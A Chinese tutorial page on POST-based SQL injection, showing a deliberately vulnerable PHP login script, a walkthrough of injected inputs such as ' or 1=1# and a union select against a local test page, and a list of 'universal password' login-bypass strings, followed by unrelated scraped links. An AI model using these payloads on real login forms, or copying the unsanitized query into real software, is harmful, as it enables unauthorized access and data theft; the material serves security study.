1、代码篇

</html>
<center>
<form action="#" method="post">
姓名:<input type="text" name="user"><br>
密码:<input type="text" name="pass"><br>
<input type="submit" name="submit" value="提交">
</center>
</html>
<?php
/*************************
author:Bloodero
sql_injection_post
*************************/ include("../conn.php");
error_reporting(0);
if(isset($_POST['submit'])){
if(!empty($_POST['user']) && !empty($_POST['pass'])){
$user=$_POST['user'];
$pass=$_POST['pass'];
echo "你当前输入用户名:".$user."<br>";
echo "你当前输入密码:".$pass."<br>";
$sql="select * from user where username='$user' and password='$pass'";
$res=mysql_query($sql);
$row=mysql_fetch_array($res);
if(empty($row)){
echo "<script>alert('登陆失败')</script>";
}
else{
echo "当前用户:<br>";
echo "id:".$row['id']."<br>";
echo "username:".$row['username']."<br>";
echo "password:".$row['password']."<br>";
}
}
else{
echo "<script>alert('用户名/密码不能为空')</script>";
}
}
else{
exit();
}
?>

2、注入篇:http://localhost/pentest/sql/sql_injection_post.php

正确输入:

你当前输入用户名:admin
你当前输入密码:pass
当前用户:
id:1
username:admin
password:pass

尝试注入:

你当前输入用户名:1'
你当前输入密码:1 登陆失败
你当前输入用户名:1' #
你当前输入密码:1 登陆失败
你当前输入用户名:1' or 1=1#
你当前输入密码:1
当前用户:
id:1
username:admin
password:pass 登陆成功
你当前输入用户名:1' or 1=2#
你当前输入密码:1 登陆失败

这里我解释一下原理:

当我们闭合了where语句,然后再后面接or 1=2时,这时候恒假,所以不会有结果;

当我们接or 1=1时,恒真,所以就会查询所有;

你当前输入用户名:1' and 1=2 union select * from user#
你当前输入密码:1
当前用户:
id:1
username:admin
password:pass

这里的原理不懂的可以去看看第一发sql_injection;

3、防注入

对post过来的数据,进行处理;会有一篇进行详细讲解

4、通过post注入,引生的万能密码

"or "a"="a
')or('a'='a
or 1=1--
'or 1=1--
a'or' 1=1--
admin' or 'a'='a 密码随便
'or 1=1/*
User: something Pass: ' or '1'='1
1'or'1'='1
admin' or 1=1/*

sql_injection之post注入的更多相关文章

  1. sql_injection之基本get注入

    1.代码篇 <?php error_reporting(0); include("../conn.php"); if(isset($_GET['id'])){ $id=$_G ...

  2. 另类的SQL注入方法

    前言:相比基于查询的SQL注入,使用insert.update和delete进行SQL注入显得略显另类 参考自:http://www.exploit-db.com/wp-content/themes/ ...

  3. 利用insert,update和delete注入获取数据

    0x00 简介 利用SQL注入获取数据库数据,利用的方法可以大致分为联合查询.报错.布尔盲注以及延时注入,通常这些方法都是基于select查询语句中的SQL注射点来实现的.那么,当我们发现了一个基于i ...

  4. SQL 注入防御方法总结

    SQL 注入是一类危害极大的攻击形式.虽然危害很大,但是防御却远远没有XSS那么困难. SQL 注入可以参见:https://en.wikipedia.org/wiki/SQL_injection S ...

  5. ModSecurity SQL注入攻击

    ModSecurity是 一个入侵探测与阻止的引擎,它主要是用于Web应用程序所以也可以叫做Web应用程序防火墙.它可以作为Apache Web服务器的一个模块或单独的应用程序来运行.ModSecur ...

  6. SQL注入攻击技巧总结

    0×01 你要知道目前有哪些数据库 微软公司旗下的: Microsoft SQL server 简称 MS-SQL 或者 SQL SERVER (大型数据库操作,功能和性能异常强大)(一般也是ASP或 ...

  7. PHP防止SQL注入与几种正则表达式讲解

    注入漏洞代码和分析 代码如下: <?php function customerror($errno, $errstr, $errfile, $errline) {     echo <b& ...

  8. 防御SQL注入的方法总结

    这篇文章主要讲解了防御SQL注入的方法,介绍了什么是注入,注入的原因是什么,以及如何防御,需要的朋友可以参考下   SQL 注入是一类危害极大的攻击形式.虽然危害很大,但是防御却远远没有XSS那么困难 ...

  9. PHP防SQL注入攻击

    PHP防SQL注入攻击 收藏 没有太多的过滤,主要是针对php和mysql的组合. 一般性的防注入,只要使用php的 addslashes 函数就可以了. 以下是一段copy来的代码: PHP代码 $ ...

随机推荐

  1. Python2X和Python3X的区别

    python2X:源码重复不规范python3X:整合源码,更清晰简单优美.         python2X:默认的编码是ascii  (解决办法为第一行添加 :  #-*- encoding:ut ...

  2. elasticsearch6 学习之并发控制

    环境:elasticsearch6.1.2        kibana6.1.2  并发问题无处不在 一.基于_version 的并发控制 在提交数据前先检查提交数据的version与es中存储的ve ...

  3. Tomcat 启动流程

  4. 【HLSDK系列】groupinfo的基本用法

    如果你经常写AMXX,你应该会知道有个 pev->groupinfo 变量,但我猜大部分人都不会用这个变量,这个变量涉及很多实体处理功能,下面列举几个最常用的. ① 玩家与非玩家实体之间的碰撞检 ...

  5. DAY6-Python学习笔记

    前记: 坚持写学习笔记今天是第六天了,今天事情有点多想起来还没写赶快补起来,学习Python已经快一个星期了,大部分的知识点已经跟着廖雪峰老师的教程了解了一下,由于自学能力不强还有很多知识点掌握不牢固 ...

  6. DAY2-Python学习笔记

    1.迭代器:可以直接作用于for循环的对象统称为可迭代对象:Iterable,使用isinstance()判断一个对象是否是Iterable对象: >>> from collecti ...

  7. 应该更新的Java知识之常用程序库

    摘自:http://www.blogbus.com/dreamhead-logs/226738702.html 在很多人眼中,Java已经是一门垂垂老矣的语言,但并不妨碍Java世界依然在前进.如果你 ...

  8. BZOJ2789 [Poi2012]Letters 【树状数组】

    题目链接 BZOJ 题解 如果我们给\(A\)中所有字母按顺序编号,给\(B\)中所有字母编上相同的号码 对于\(B\)中同一种,显然号码应该升序 然后求逆序对即可 #include<algor ...

  9. java 操作命令行

    目的:用java进行调用ab压测 window: cmd ab.exe linux: sh  ab.sh 命令: abs -n 500 -c 10 https://www.baidu.com/ > ...

  10. 【线段树】【P4198】 楼房重建

    Description 小A在平面上(0,0)点的位置,第i栋楼房可以用一条连接(i,0)和(i,Hi)的线段表示,其中Hi为第i栋楼房的高度.如果这栋楼房上任何一个高度大于0的点与(0,0)的连线没 ...